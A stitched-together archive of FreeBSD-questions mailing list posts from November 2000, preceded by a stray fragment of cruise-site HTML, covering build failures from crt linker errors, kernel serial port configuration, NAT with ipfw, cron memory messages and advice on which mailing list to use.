> > <TABLE BORDER=3D"0" ALIGN=3D"CENTER" WIDTH=3D"95%">
> > <TR>
> > <TD WIDTH=3D"150" NOWRAP=3D"NoWrap" VALIGN=3D"TOP"
> > ROWSPAN=3D"2"><B><FONT
> > SIZE=3D"-1" FACE=3D"arial"><FONT
> > COLOR=3D"#800000">Home</FONT><BR><a 
> >
> HREF=3D"http://www.cruisewholesale.com/cruiseinfo.htm">Cruise
> > 
> > Information</a><BR><a
> >
> HREF=3D"http://www.cruisewholesale.com/cruisedates.htm"
> > 
> > NAME=3D"Cruises Dates">Cruise Specials</a><BR><a
> > HREF=3D"http://www.
> > cruisewholesale.com/membership.htm" NAME=3D"Free
> > Membership">No Fee 
> > Membership</a><BR><a
> >
> HREF=3D"http://www.cruisewholesale.com/travelservices.htm"
> > 
> > NAME=3D"Other Travel Services">Other Travel
> > Services</a><BR><a HREF=3D"http://www.
> > cruisewholesale.com/cruisefaq.htm"
> > NAME=3D"FAQ">FAQ</a><BR><a HREF=3D"http://www.
> > cruisewholesale.com/travelpolicy.htm"
> > NAME=3D"Policy">Policy</a><BR><a 
> > HREF=3D"http://www.cruisewholesale.com/contact.htm" 
> >
> NAME=3D"Contact">Contact</a><BR><A></A></FONT><BR><BR></B></TD>
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when i try to run startx i receive
Password:
Password:
Password:
Password:
and so it continues untill i press ctrl-c
Password:xinit:  unexpected signal 2

waiting for X server to shut down

i can export display to different box and run xterm with no problem, any one
knows what happenes here?



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"Passki, Jonathan P" wrote:
> 
> Hello All,
> 
> After cvsup'n source a couple days ago for the 4.1.1 branch, and after doing
> a make world last night w/o a reboot, I attempted to recompile the kernel,
> but was unsuccessful, and it ended abruptly w/ a Stop Error.  Here's the
> last amount of info I wrote down:
> 
> cc -0 -pipe -nostdinc -I/usr/obj/usr/src/sys/NOVA/../../.. -I.
> -I/usr/include
> -c /usr/src/sys/dev/aic7xxx/aicasm/aicasm_symbol.c
> cc -0 -pipe -nostdinc -I/usr/obj/usr/src/sys/NOVA/../../.. -I.
> -I/usr/include
> -o aicasm aicasm_gram.o aicasm_scan.o aicasm.o aicasm_symbol.o -ll
> /usr/lib/crtbegin.o: In function '_init':
> /usr/lib/crtbegin.o(.init+0x0): multiple definition of '_init'
> /usr/lib/crti.o (.init+0x0): first defined here
> /usr/lib/crtbegin.o: In function '_fini':
> /usr/lib/crtbegin.o(.fini+0x0): multiple definition of '_fini'
> /usr/lib/crti.o (.fini+0x0): first defined here
> 
> And then the Stop Errors soon after.  This isn't a pure verbatim screen
> shot, so I might have retyped something wrong.  I do have an Adaptec 2490U2W
> SCSI-PCI host card, w/ an 18G LVD drive.  I haven't ever had this problem w/
> the hardware since 3.4, but I've added more PCI devices since then.  Does
> anyone know where the root to this error is, and perhaps steps I could try
> to resolve it?
> 
> Thanks,

I believe you are in trouble, i had the same error. Some commited a
CURRENT code into the STABLE branch. Due to lack of experience, i had to
reinstall by lib (i don't really known if that the correct the problem).
Take a look in the stable mailing list.


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On 2 Nov 2000 sharpmind2@371.net wrote:

% Date: 2 Nov 2000 17:28:15 -0000
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% Subject: how to configure sio2 and sio3 ?
% 
% how to configure sio2 and sio3
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kernel:

# Serial (COM) ports
device          sio0    at isa? port IO_COM1 flags 0x10 irq 4
device          sio1    at isa? port IO_COM2 irq 3
device          sio2    at isa? port IO_COM3 irq 5
device          sio3    at isa? port IO_COM4 irq 9

rebuild kernel...


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William Melanson - CyberGate/espire Network Operations Center

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* sharpmind2@371.net <sharpmind2@371.net> [20001102 20:44]:
=>how to configure sio2 and sio3

If I have a modem on COM3 (sio2) I'll point to it as being /dev/cuaa2
If I have a device on COM4 (sio3) I'll point to is as being /dev/cuaa3

Just like a serial device on COM1 is /dev/cuaa0 and on COM2 is /dev/cuaa1

That is my assumption though but I hope it gives a clue.
Someone else in this list may be able to enlighten you more than I ;-)

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I've been trying to set up a parallel port ZIP drive. I had it set up
once back in F3.4, didn't use it for a long time, and now I need it
again. I have my kernel set up correctly, with vpo, scbus and da. vpo0
is detected on boot up, but I'm getting errors. Here is a partial output
of dmesg:

...
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode
vpo0: <Iomega VPI0 Parallel to SCSI interface> on ppbus0
vpo0: EPP 1.9 mode
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
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acd0: CDROM <BCD-36XH CD-ROM> at ata1-slave using PIO4
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vpo0: VP0 error/timeout (2)
vpo0: VP0 error/timeout (5)
vpo0: VP0 error/timeout (2)
Mounting root from ufs:/dev/ad1s1a
...

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Hi,

by ip aliasing, do you mean NAT?
note also that BSDi and FreeBSD are different systems, though
there are many common things.

I don't use IPFW, so I can't help you here other than suggesting that
you check the ipfw@freebsd.org mailing list archive.

but you can use IP filter instead. It comes with FreeBSD.
documentation is available at the official site:
http://coombs.anu.edu.au/~avalon/ip-filter.html

mainly, you'll need to compile the kernel with the options IPFILTER
and probably IPFILTER_LOG enabled. then check the howto and other
docs at the URL above. if you need more infos, send me a private mail
and I'll try to help.


At 19:41 01/12/00 -0700, Don Sutter wrote:
>I am running a private network (192.168.x.x) and recently
>added a high speed ethernet internet connection on a static
>public IP address.  I would like to set up IP Aliasing (so
>all my private machines can access the internet) and setup
>firewall protection for my private network.  I bought a
>Version 4 FreeBSD Power Pak and discovered that it contained
>a 3rd Edition "Complete FreeBSD" book.  A also downloaded
>and installed the latest FreeBSD 4.1.1 in a multi homed
>machine and I downloaded and printed the latest FreeBSD
>Handbook.
>
>I figured out how to re-compile the kernel with "options
>IPFIREWALL", "options IPDIVERT" and even figured out how to
>get my sound card working but the description of rc.firewall
>in my Version 3 Complete FreeBSD book looks quite different
>than /etc/rc.firewall on my system.  I thought I'd start by
>adding the three lines at the top of page 507 to my
>rc.firewall file but now I'm not sure of where to put them.
>
>/sbin/ipfw -f flush
>/sbin/ipfw add divert natd all from any to any via ed0
>/sbin/ipfw add pass all from any to any
>
>I use ed0 instead of tun0 as used in the book.
>
>Am I looking at the wrong manual?  Did rc.firewall change
>between BSDi v3 and 4.  Allowing private network machines to
>access the internet via IP Aliasing and a multi-homes BSDi
>box sounds simple enough.  Perhaps someone out there could
>point me in the right direction...
>
>Thanks
>
>Don
>
>
>
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I am trying to use a lucent wavelan IEEE NIC on my freebsd 4.1 system.
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where do I go from here? this started two days ago, I keep cvsuping hoping
it will fix it self but everytime I make world I get this:

PS it should be noted that make world went fine once, then I went to
config/make install kernel and that failed, so I recvsuped and that is when
make world started stalling

>>> stage 1: bootstrap tools
--------------------------------------------------------------
cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj/usr/src/i386
DESTDIR=/usr/obj/usr/src/i386  INSTALL="sh /usr/src/tools/install.sh"
MACHINE_ARCH=i386  TOOLS_PREFIX=/usr/obj/usr/src/i386
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Makefile.inc1 -DNOMAN -DNOINFO -DNOHTML bootstrap-tools
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/usr/obj/usr/src/i386/usr/src/games/fortune/strfile created for
/usr/src/games/fortune/strfile
rm -f .depend
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cd /usr/src/games/fortune/strfile; make _EXTRADEPEND
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*** Error code 1

Stop in /usr/src/games/fortune/strfile.
*** Error code 1




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Laptop: Gateway Solo p150 w/ 40MB RAM
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I am trying to get the laptop to connect to the host via a hardwired serial
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when I do:

host> # slattach -a -h -l -s 9600 /dev/cuaa0

it comes back with something to the effect that the device does not support
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on the Laptop it comes back with something to the effect that it can not
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Am I missing some steps here? On the host I am thinking that I just want to
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I have a regular RS-232 9pin cable going between the two PCs. This means
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Any recommendations?

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ibus __miibus_hack_dep.c
/usr/lib/crtbeginS.o: In function `_init':
/usr/lib/crtbeginS.o(.init+0x0): multiple definition of `_init'
/usr/lib/crti.o(.init+0x0): first defined here
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*** Error code 1

Stop in /usr/src/sys/modules/pcn.
*** Error code 1

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*** Error code 1

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Hi,

I'm looking for BSD drivers for the Matrox Meteor2 (Standard or
Multi-Channel) framegrabber. I learned that freeBSD people have been
developing them and I would like to know what the current status is
regarding the release date.

Thank you for your answer.

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tony wrote:
> 
> where do I go from here? this started two days ago, I keep cvsuping hoping
> it will fix it self but everytime I make world I get this:
> 
> PS it should be noted that make world went fine once, then I went to
> config/make install kernel and that failed, so I recvsuped and that is when
> make world started stalling
> 
> >>> stage 1: bootstrap tools
> --------------------------------------------------------------
> cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj/usr/src/i386
> DESTDIR=/usr/obj/usr/src/i386  INSTALL="sh /usr/src/tools/install.sh"
> MACHINE_ARCH=i386  TOOLS_PREFIX=/usr/obj/usr/src/i386
> PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/u
> sr/src/i386/usr/games:/sbin:/bin:/usr/sbin:/usr/bin make -f
> Makefile.inc1 -DNOMAN -DNOINFO -DNOHTML bootstrap-tools
> cd /usr/src/games/fortune/strfile;  make obj;  make depend;  make all;  make
> install
> /usr/obj/usr/src/i386/usr/src/games/fortune/strfile created for
> /usr/src/games/fortune/strfile
> rm -f .depend
> mkdep -f .depend -a    -I/usr/obj/usr/src/i386/usr/include
> /usr/src/games/fortune/strfile/strfile.c
> cd /usr/src/games/fortune/strfile; make _EXTRADEPEND
> echo strfile: /usr/obj/usr/src/i386/usr/lib/libc.a  >> .depend
> cc -O -pipe -Wall   -I/usr/obj/usr/src/i386/usr/include -c
> /usr/src/games/fortune/strfile/strfile.c
> cc -O -pipe -Wall   -I/usr/obj/usr/src/i386/usr/include  -o strfile
> strfile.o
> /usr/lib/crtbegin.o: In function `_init':
> /usr/lib/crtbegin.o(.init+0x0): multiple definition of `_init'
> /usr/lib/crti.o(.init+0x0): first defined here
> /usr/lib/crtbegin.o: In function `_fini':
> /usr/lib/crtbegin.o(.fini+0x0): multiple definition of `_fini'
> /usr/lib/crti.o(.fini+0x0): first defined here
> *** Error code 1
> 
> Stop in /usr/src/games/fortune/strfile.
> *** Error code 1

You are asking in the wrong list. If you try to follow 4-stable, you
should also be subscibed to freebsd-stable. You also have to either
follow cvs-all, or have a link to it on freebsd.org. There are many
messages dealing with this on -stable.

David O'Brien's fix is as follows

cd /usr/src/lib/csu/i386-elf
make cleandir ; make cleandir ; make obj ; make depend ; make all
install
cd /usr/src/gnu/lib/csu
make cleandir ; make cleandir ; make obj ; make depend ; make all
install

When the upgrade first came out, I was hit with this problem. At that
time, I didn't find this all necessary. I only had to modify .../csu
and then I did a make all install. The crt...'s are built in stage 2
but strfile needs the changes in stage 1.

Also make sure you don't have anything but the Makefile in
/usr/src/gnu/lib/csu.

Kent

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	All of a sedden I am getting _lots_ of these messages, primarily from
	mrtg being run from cron.

	The machnine in question is a PI with 32MB of RAM a,d 2 hard drives.
	Each drive has some swap space on it. I have been able to replicate
	this with each of the swap partitions out of service. Replacing the 32M
	memory temporarily with 128M eliminated the problem. At this point in
	time I have a replaced that with a new 32M memory segment, and the
	problem has re-apeared. 3.4-STABLE 

	Curiosly, I am not getting any errors in dmessg.

	Can someone tell me what to check next?

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> ibus __miibus_hack_dep.c
> /usr/lib/crtbeginS.o: In function `_init':
> /usr/lib/crtbeginS.o(.init+0x0): multiple definition of `_init'
> /usr/lib/crti.o(.init+0x0): first defined here
> /usr/lib/crtbeginS.o: In function `_fini':
> /usr/lib/crtbeginS.o(.fini+0x0): multiple definition of `_fini'
> /usr/lib/crti.o(.fini+0x0): first defined here
> *** Error code 1
>
> Stop in /usr/src/sys/modules/pcn.
> *** Error code 1
>
> Stop in /usr/src/sys/modules.
> *** Error code 1
>
> Stop in /usr/src/sys/compile/LUNAR


Nice- do I remember seeing something about the 4.1.1 kernel source being
broken out of the box?
(I may be wrong, but I beleive my failures were in the miibus files as well)
(Using dc NIC driver)


I attempted to compile a new kernel several times last night and was seeing
some very strange failures.
(I'm no stranger to kernel compilation)
Tonight I will attempt to compile GENERIC simply to maintain my sanity.



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tony wrote:
> 
> ibus __miibus_hack_dep.c
> /usr/lib/crtbeginS.o: In function `_init':
> /usr/lib/crtbeginS.o(.init+0x0): multiple definition of `_init'
> /usr/lib/crti.o(.init+0x0): first defined here
> /usr/lib/crtbeginS.o: In function `_fini':
> /usr/lib/crtbeginS.o(.fini+0x0): multiple definition of `_fini'
> /usr/lib/crti.o(.fini+0x0): first defined here
> *** Error code 1
> 
> Stop in /usr/src/sys/modules/pcn.
> *** Error code 1
> 
> Stop in /usr/src/sys/modules.
> *** Error code 1
> 
> Stop in /usr/src/sys/compile/LUNAR

You are asking this question in the wrong list. If you try to follow
4-stable, you should also be subscibed to freebsd-stable. You also
have to either follow cvs-all, or have a link to it on freebsd.org.
There are many messages dealing with the crt... problem on -stable. 

If I were a beting person, I would bet you cvsup'ed and probably
didn't do a buildworld before you tried to buildkernel because your
buildworld would have died trying to build
/usr/obj/usr/src/i386/usr/src/games/fortune/strfile in the buildworld
stage 1 section.

Now that your are in trouble, lets see how to fix it and let you get
on with the show.

David O'Brien's fix is as follows

cd /usr/src/lib/csu/i386-elf
make cleandir ; make cleandir ; make obj ; make depend ; make all
install
cd /usr/src/gnu/lib/csu
make cleandir ; make cleandir ; make obj ; make depend ; make all
install

When his upgrade first came out, I was hit with this problem. At that
time, his fix hadn't been developed and I only had to upgrade .../csu.
All I did was a make all install. The crt...'s are built in stage 2
but strfile needs the changes in stage 1. The buildworld dies really
quickly.

Also make sure you don't have anything but the Makefile in
/usr/src/gnu/lib/csu before you do the csu make. Then go to /usr/src
and following the buildworld, build[install]kernel KERNEL=LUNAR,
installworld sequence in /usr/src/UPDATING. It works because I just
finished cvsuping and updating my OPAL system.

Kent

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I just wanted to thank you, make world has now proceded! I do have a
question, according to the freebsd webpage section on mailing lists
http://www.freebsd.org/handbook/eresources.html#ERESOURCES-MAIL        these
are the differences between the two lists (I subscribe to both)   they seem
pretty vague to me!

freebsd-questions User questions and technical support
freebsd-stable Discussion concerning the use of FreeBSD-stable

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>
>
> tony wrote:
> >
> > where do I go from here? this started two days ago, I keep cvsuping
hoping
> > it will fix it self but everytime I make world I get this:
> >
> > PS it should be noted that make world went fine once, then I went to
> > config/make install kernel and that failed, so I recvsuped and that is
when
> > make world started stalling
> >
> > >>> stage 1: bootstrap tools
> > --------------------------------------------------------------
> > cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj/usr/src/i386
> > DESTDIR=/usr/obj/usr/src/i386  INSTALL="sh /usr/src/tools/install.sh"
> > MACHINE_ARCH=i386  TOOLS_PREFIX=/usr/obj/usr/src/i386
> >
PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/u
> > sr/src/i386/usr/games:/sbin:/bin:/usr/sbin:/usr/bin make -f
> > Makefile.inc1 -DNOMAN -DNOINFO -DNOHTML bootstrap-tools
> > cd /usr/src/games/fortune/strfile;  make obj;  make depend;  make all;
make
> > install
> > /usr/obj/usr/src/i386/usr/src/games/fortune/strfile created for
> > /usr/src/games/fortune/strfile
> > rm -f .depend
> > mkdep -f .depend -a    -I/usr/obj/usr/src/i386/usr/include
> > /usr/src/games/fortune/strfile/strfile.c
> > cd /usr/src/games/fortune/strfile; make _EXTRADEPEND
> > echo strfile: /usr/obj/usr/src/i386/usr/lib/libc.a  >> .depend
> > cc -O -pipe -Wall   -I/usr/obj/usr/src/i386/usr/include -c
> > /usr/src/games/fortune/strfile/strfile.c
> > cc -O -pipe -Wall   -I/usr/obj/usr/src/i386/usr/include  -o strfile
> > strfile.o
> > /usr/lib/crtbegin.o: In function `_init':
> > /usr/lib/crtbegin.o(.init+0x0): multiple definition of `_init'
> > /usr/lib/crti.o(.init+0x0): first defined here
> > /usr/lib/crtbegin.o: In function `_fini':
> > /usr/lib/crtbegin.o(.fini+0x0): multiple definition of `_fini'
> > /usr/lib/crti.o(.fini+0x0): first defined here
> > *** Error code 1
> >
> > Stop in /usr/src/games/fortune/strfile.
> > *** Error code 1
>
> You are asking in the wrong list. If you try to follow 4-stable, you
> should also be subscibed to freebsd-stable. You also have to either
> follow cvs-all, or have a link to it on freebsd.org. There are many
> messages dealing with this on -stable.
>
> David O'Brien's fix is as follows
>
> cd /usr/src/lib/csu/i386-elf
> make cleandir ; make cleandir ; make obj ; make depend ; make all
> install
> cd /usr/src/gnu/lib/csu
> make cleandir ; make cleandir ; make obj ; make depend ; make all
> install
>
> When the upgrade first came out, I was hit with this problem. At that
> time, I didn't find this all necessary. I only had to modify .../csu
> and then I did a make all install. The crt...'s are built in stage 2
> but strfile needs the changes in stage 1.
>
> Also make sure you don't have anything but the Makefile in
> /usr/src/gnu/lib/csu.
>
> Kent
>
> >
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Ras-Sol wrote:
> 
> > ibus __miibus_hack_dep.c
> > /usr/lib/crtbeginS.o: In function `_init':
> > /usr/lib/crtbeginS.o(.init+0x0): multiple definition of `_init'
> > /usr/lib/crti.o(.init+0x0): first defined here
> > /usr/lib/crtbeginS.o: In function `_fini':
> > /usr/lib/crtbeginS.o(.fini+0x0): multiple definition of `_fini'
> > /usr/lib/crti.o(.fini+0x0): first defined here
> > *** Error code 1
> >
> > Stop in /usr/src/sys/modules/pcn.
> > *** Error code 1
> >
> > Stop in /usr/src/sys/modules.
> > *** Error code 1
> >
> > Stop in /usr/src/sys/compile/LUNAR
> 
> Nice- do I remember seeing something about the 4.1.1 kernel source being
> broken out of the box?
> (I may be wrong, but I beleive my failures were in the miibus files as well)
> (Using dc NIC driver)
> 
> I attempted to compile a new kernel several times last night and was seeing
> some very strange failures.
> (I'm no stranger to kernel compilation)
> Tonight I will attempt to compile GENERIC simply to maintain my sanity.

Just in case we don't have multiple failures here. You need the
"device miibus" in your kernel before you can add certain NIC drivers.
The crt... failures are most likely caused by new changes introduced
in stable to keep FreeBSD on the testing schedule for Gcc 3.0. For you
to see them in a kernel, I think you would have to cvsup and then not
follow the /usr/src/UPDATING rules for upating to 4-stable, which have
you do a buildworld > build and install kernel > installworld.

Murphy being Murphy could also have several other possibilities come
to mind :). The current 4-stable will build on my system. I finished
building the current version about an hour ago. You may need a couple
of tweaks to get there.

Have a good day,

Kent

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> From: "Zaven" <grish27@yahoo.com>
> Date: Tue, 31 Oct 2000 17:26:02 +0400
>
> Hi everyone who will read this mail. My question is how can I design the =
> /etc/motd file or is there some programs that will help to design it?

Yes.  Any plain good old text-editor will do just fine.

Use your favorite text editor to edit the file.  Any editor is fine, as long
as it can output to an ASCII file :-)

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> From: "Oliver Mills" <oliver@crownhill.co.uk>
> Date: Tue, 31 Oct 2000 14:32:18 -0000
>
> How do i access ftp sites through Free Bsd?

1. With an FTP client, i.e.

	% ftp some.server.net

   Use `man ftp' for more details on ftp(1) usage.

2. Point your browser to the proper URL ( ftp://some.server.net/ )

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Hi,

I have a server with a sym53c875 SCSI adapter, which has nothing
connected to it except for the drives in the RAID array, and a Mylex
DAC960PTL1 PCI RAID controller, both of which are supported under
FreeBSD.. It is currently running RedHat 6.1, and I want to upgrade it
to FreeBSD 4.1.1. However, when I try to boot from the CD I get these
results after the kernel configuration:
  
...
ata1-slave: identify retries exceeded
acd0: CDROM <CREATIVECD4833E> at ata1-master using PIO4
Waiting for 15 seconds for SCSI devices to settle
...

and then, nothing. The computer doesn't quite hang; I can set the
numlock on and off, and ctrl-alt-del works. Alt-F2 doesn't tell me
anything, and the SCSI chain is properly terminated (There's a
terminator at the end of the ribbon connected to the drives in the RAID
array, and there's nothing else connected), and Linux boots and works
perfectly. The RAID controller is properly detected. Does anyone have
any ideas?
  
Thanks!
  
Grayson


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jwvehrs@netzero.net wrote:

> Why are you so anxious about 4.2-RELEASE? 4.1.1-RELEASE is very good and you
> can always cvsup up to 4.2. Don't you wanna to know about 10.0-RELEASE? *grin*
>
> -- jwv
>

well, i think because i tried to cvsup from 4.1 to 4.1.1 but it didn't work - so
i'll set up my system again.
First I wanted to set up 4.1.1 but then heard about 4.2 and decided to wait...

Sperber

>
> On Thu, Nov 02, 2000 at 11:01:56AM +0100, Sperber / Anakha wrote:
> > hi
> >
> > when will fbsd 4.2 release available on ftp servers?
> >
> > thx sperber
> >
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----- Original Message -----
From: Rino Mardo <helixfish@gmx.net>
To: David Talkington <dtalk@prairienet.org>; Anthony J Knapp
<knapp.betton@virgin.net>
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> Yes clear, thorough documentation is what attracted me and kept using
> FreeBSD (in spite of that ata0-master timeout I'm still having while doing
> make build -- sigh!).
>
> With Linux,  I feel it's becoming the M$ of the *NIX world as GOOEY here
and
> there are making the kernel bloated.  I guess it's just me coming from the
> old school of *NIX.
>
> My 2cents.
>
>
> -> who watches the watchmen?
>
> Key fingerprint - E619 726E 3815 7A48 EAC7  E49F DF93 4E33 B069 0883
>
>
>
> ----- Original Message -----
> From: "David Talkington" <dtalk@prairienet.org>
> To: "Anthony J Knapp" <knapp.betton@virgin.net>
> Cc: <freebsd-questions@FreeBSD.ORG>
> Sent: Wednesday, November 01, 2000 11:03 AM
> Subject: Re: beginners with bsd
>
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> >
> > Tony -
> >
> > In response to others who've answered, I'd like to add that (in my
> > experience) if you're interested in some flavor of Unix and friends,
> > FreeBSD presents to a newcomer at least one advantage that I don't
> > think Linux can match: clear, thorough documentation. I was quite
> > impressed by the readability and depth (often conflicting goals!) of
> > Greg Lehey's book.  I learned Linux by chasing information on the
> > 'net, but if I was a newbie all over again, I'm pretty sure that with
> > a book like Greg's, I'd have had a much easier time with FreeBSD than
> > I had with Linux.
> >
> > I use Red Hat on my laptop, and I like it just fine, but it's a moving
> > target.  If you want to learn computing the right way, you can't do
> > better than here ... if you're persistent and willing to read, you'll
> > do fine.  The points about device support are certainly valid,
> > however. Cutting-edge hardware support, which many Linux distributions
> > have, really isn't one of FreeBSD's strengths.
> >
> > Whatever you decide, have fun!
> > - -d
> >
> > - --
> > David Talkington
> > Community Networking Initiative
> > dtalk@prairienet.org
> > 217-244-1962
> >
> > PGP key: http://www.prairienet.org/~dtalk/dt000823.asc
> >
> > Anthony J Knapp wrote:
> >
> > >Help, please!
> > >
> > >As a newcomer to any kind of computing, and as one who'd like to get
away
> from Windows, what is the easiest way to start with Freebsd?
> > >
> > >I've tried to trace a plain English book on the subject without
success.
> > >
> > >Is Freebsd suitable for beginners?  Could I run the normal
> wordprocessing, database, and spreadsheet applications with it?
> > >
> > >
> > >Thanks,
> > >
> > >
> > >
> > >
> > >Tony Knapp (membership no 20001001)
> > >
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Rino and David,


Many many thanks for your replies to my e-mail.    I'll get the book by
Lehey and see how I get on.  If nothing else it will keep my brain active in
my retirement.  No doubt I'll have to post questions about things I don't
understand so you'll probably see my name up here in the future with more
frequency than you actually desire!

Thanks again,



Tony



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1) Are there good reasons to not put system files (/etc/passwd, /etc/group,...)
under version control? It seems like it would be useful to be able to see the 
changes over time. (Not as a security measure, but as a way of doing sanity
 checks).

2) If there are no good reasons to avoid putting system files user version
control, does it make sense to build that into the distribution? (as an
option)

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On Thu, 2 Nov 2000 stanb@panix.com wrote:

> 	All of a sedden I am getting _lots_ of these messages, primarily from
> 	mrtg being run from cron.
> 
> 	The machnine in question is a PI with 32MB of RAM a,d 2 hard drives.
> 	Each drive has some swap space on it. I have been able to replicate
> 	this with each of the swap partitions out of service. Replacing the 32M
> 	memory temporarily with 128M eliminated the problem. At this point in
> 	time I have a replaced that with a new 32M memory segment, and the
> 	problem has re-apeared. 3.4-STABLE 

cron did not deal with memory allocation failures prior to 3.5.1; after a
single memory allocation failure, it could possibly cause this message
from malloc() every time it fired off a program.

If you can't upgrade to 3.5.1 or 4.1.1, you can download the cron sources
from the source archives on ftp.freebsd.org, build, and install the
current cron, which should take care of this problem.

Hope this helps,
Guy

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From owner-freebsd-questions  Thu Nov  2 13:39:59 2000
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Can anyone suggest a good arrangement of slices on a Compaq laptop which
will include W2K and FreeBSD (4.1+).

Any other tips or gotchas with installation on a Compaq laptop.  I know
there can be problems with Compaqs.

TIA

mvh/regards

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On Wed, 1 Nov 2000, Andresen,Jason R. wrote:

> Are we sure about that?  Linux running friends of mine have no problems
> at all
> with Licq 1.0's stability.  I figured it was some sort of threading
> issue
> or something.

Some days ago I asked to the Licq port maintainer why He has deleted the
licq 1.0 port.
He tell me that a lot of people reported problem with licq 1.0 so He
uploaded the old 0.85 licq port and is waiting for the upcoming licq
release.

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tony wrote:
> 
> I just wanted to thank you, make world has now proceded! I do have a
> question, according to the freebsd webpage section on mailing lists
> http://www.freebsd.org/handbook/eresources.html#ERESOURCES-MAIL        these
> are the differences between the two lists (I subscribe to both)   they seem
> pretty vague to me!

I think the day you don't make a mistake or learn something is a day
you didn't do anything. Computers let us make mistakes around a number
of other people and then let them see us do it. When you have been
programming going on 40 years like I have, you learn to laugh at your
mistakes when they are funny. The problem with a good memory is that I
can still remember all of the memorable ones :). The older they are,
the more likely a memory bit failure will link two or more pointers.

The charters are vague but the way I reconciled them is in the
following way. Questions is for mostly generic subjects not covered by
a different charter. There are a lot of charters out there :). If you
ask the wrong question, you could be told to ask it on a different
list. I follow -questions, cvs-all, -hackers, -docs, -ports, and
-stable. That produces a lot of email. Lasts nights run by the Love
Virus was truly awesome in quantity. I was playing Solitare on a W2K
box and when I turned around I had a 100+ messages in my various
inboxes and the quantity was still growing rapidly. I really only read
10-20% of it and can add something to ~5-10 of them. If you ask a
question on the wrong list, hopefully, you will be given some
information at the same time as it is suggested you ask it in the
right place. 

FreeBSD-Stable, for example, has the charter for subjects dealing with
following Freebsd stable. If you are cvsup'ing stable and it breaks
the buildworld or buildkernel, you really don't want to ask what
happened on questions because the only people there that will have any
idea what you are dealing with will also be subscibed to stable. The
rest will think you forgot your miibus device line. If there isn't
anyone following stable and reading email on questions, you could wait
a while for a response. The response could be wrong up front. The
right question on the wrong list can produce the wrong solution. If I
had a generic question on configuring my kernel, I wouldn't ask the
question on stable because it would seem to be a question for
-questions. Asking -questions about configuring a new device would
also be wrong because if it was something just added to -stable and
the people that added to driver would be expecting questions on
-stable, cvs-all, or -hackers. Ask a dumb question on -hackers and it
most likely won't be answered. They are looking at how bits are
handled by an interface and may not have the time to stop and answer a
dumb question. There is a lot of overlap on all of these areas. They
are not totally unique.

They have a different updating scheme on 4-stable. You have to read
/usr/src/UPDATING. The buildworld, build[install]kernel, installworld
sequence allows the system to bootstrap its way to new versions. A
system change may require features in a new complier. A "make world"
might fail completely and they have taken to suggesting you not do
"make world" on 4-stable or upgrades to 4-stable. If you do a "make
world" and it fails, they also tell you to not make any comments on
your problem until after you have tried the buildworld > buildkernel,
installworld sequence. In other words, if you didn't do it right to
begin with, don't bother us until you have tried the recommended
scheme. Your crt... problem would most likely fail either way.

FWIW, I have a script that does a cvsup of stable, converts the cvsup
log to HTML, and then follows the buildworld, build[install]kernel,
installworld update sequence. One command does almost all of the
buildworld for me. Each step also redirects the output from the make
as a log of that step and gives it a unique date-timestamp. Before I
run mergemaster I check the build logs. If they are ok, I run
mergemaster and reboot. I can go back for at least my last 5 or 6
system builds. I can tell you what was modified before I began the
build and the make log will have the build failure captured in a text
file. Some of those failures are pretty obscure and all you can do is
cut and paste the error message into an email to the right list and
hope it means something to the right person. This is where the
cvsup_log.html is important because it lets you track the changes. If
you can attribute the failure to a particular cvs-commit, I copy the
failure to the person commiting the change on cvs-all. If it is a real
problem (not an operator error by me), fixes magically appear in
cvs-all. You wait an hour for your mirror to propogate the fix, do a
cvsup update, and start your build sequence over again. 

This is all associated with developing a way that works for you. If
you KISS it and make it simple and straight forword, the chances for
errors go down. I've been biten by two of O'Brien's major changes. I
learned about buildkernel when he upgraded the /binutils before 4.1.
That was an operator error by me. I got the crt... error about an hour
after he commited the first version and before he changed the way he
did it. The latest version of -stable is running pretty smooth at this
point as 4.2-Beta.

Kent

> 
> freebsd-questions User questions and technical support
> freebsd-stable Discussion concerning the use of FreeBSD-stable
> 
> ----- Original Message -----
> From: "Kent Stewart" <kstewart@urx.com>
> To: "tony" <tony@tntpro.com>
> Cc: <questions@FreeBSD.ORG>
> Sent: Thursday, November 02, 2000 3:11 PM
> Subject: Re: Question with make world breakage
> 
> >
> >
> > tony wrote:
> > >
> > > where do I go from here? this started two days ago, I keep cvsuping
> hoping
> > > it will fix it self but everytime I make world I get this:
> > >
> > > PS it should be noted that make world went fine once, then I went to
> > > config/make install kernel and that failed, so I recvsuped and that is
> when
> > > make world started stalling
> > >
> > > >>> stage 1: bootstrap tools
> > > --------------------------------------------------------------
> > > cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj/usr/src/i386
> > > DESTDIR=/usr/obj/usr/src/i386  INSTALL="sh /usr/src/tools/install.sh"
> > > MACHINE_ARCH=i386  TOOLS_PREFIX=/usr/obj/usr/src/i386
> > >
> PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/u
> > > sr/src/i386/usr/games:/sbin:/bin:/usr/sbin:/usr/bin make -f
> > > Makefile.inc1 -DNOMAN -DNOINFO -DNOHTML bootstrap-tools
> > > cd /usr/src/games/fortune/strfile;  make obj;  make depend;  make all;
> make
> > > install
> > > /usr/obj/usr/src/i386/usr/src/games/fortune/strfile created for
> > > /usr/src/games/fortune/strfile
> > > rm -f .depend
> > > mkdep -f .depend -a    -I/usr/obj/usr/src/i386/usr/include
> > > /usr/src/games/fortune/strfile/strfile.c
> > > cd /usr/src/games/fortune/strfile; make _EXTRADEPEND
> > > echo strfile: /usr/obj/usr/src/i386/usr/lib/libc.a  >> .depend
> > > cc -O -pipe -Wall   -I/usr/obj/usr/src/i386/usr/include -c
> > > /usr/src/games/fortune/strfile/strfile.c
> > > cc -O -pipe -Wall   -I/usr/obj/usr/src/i386/usr/include  -o strfile
> > > strfile.o
> > > /usr/lib/crtbegin.o: In function `_init':
> > > /usr/lib/crtbegin.o(.init+0x0): multiple definition of `_init'
> > > /usr/lib/crti.o(.init+0x0): first defined here
> > > /usr/lib/crtbegin.o: In function `_fini':
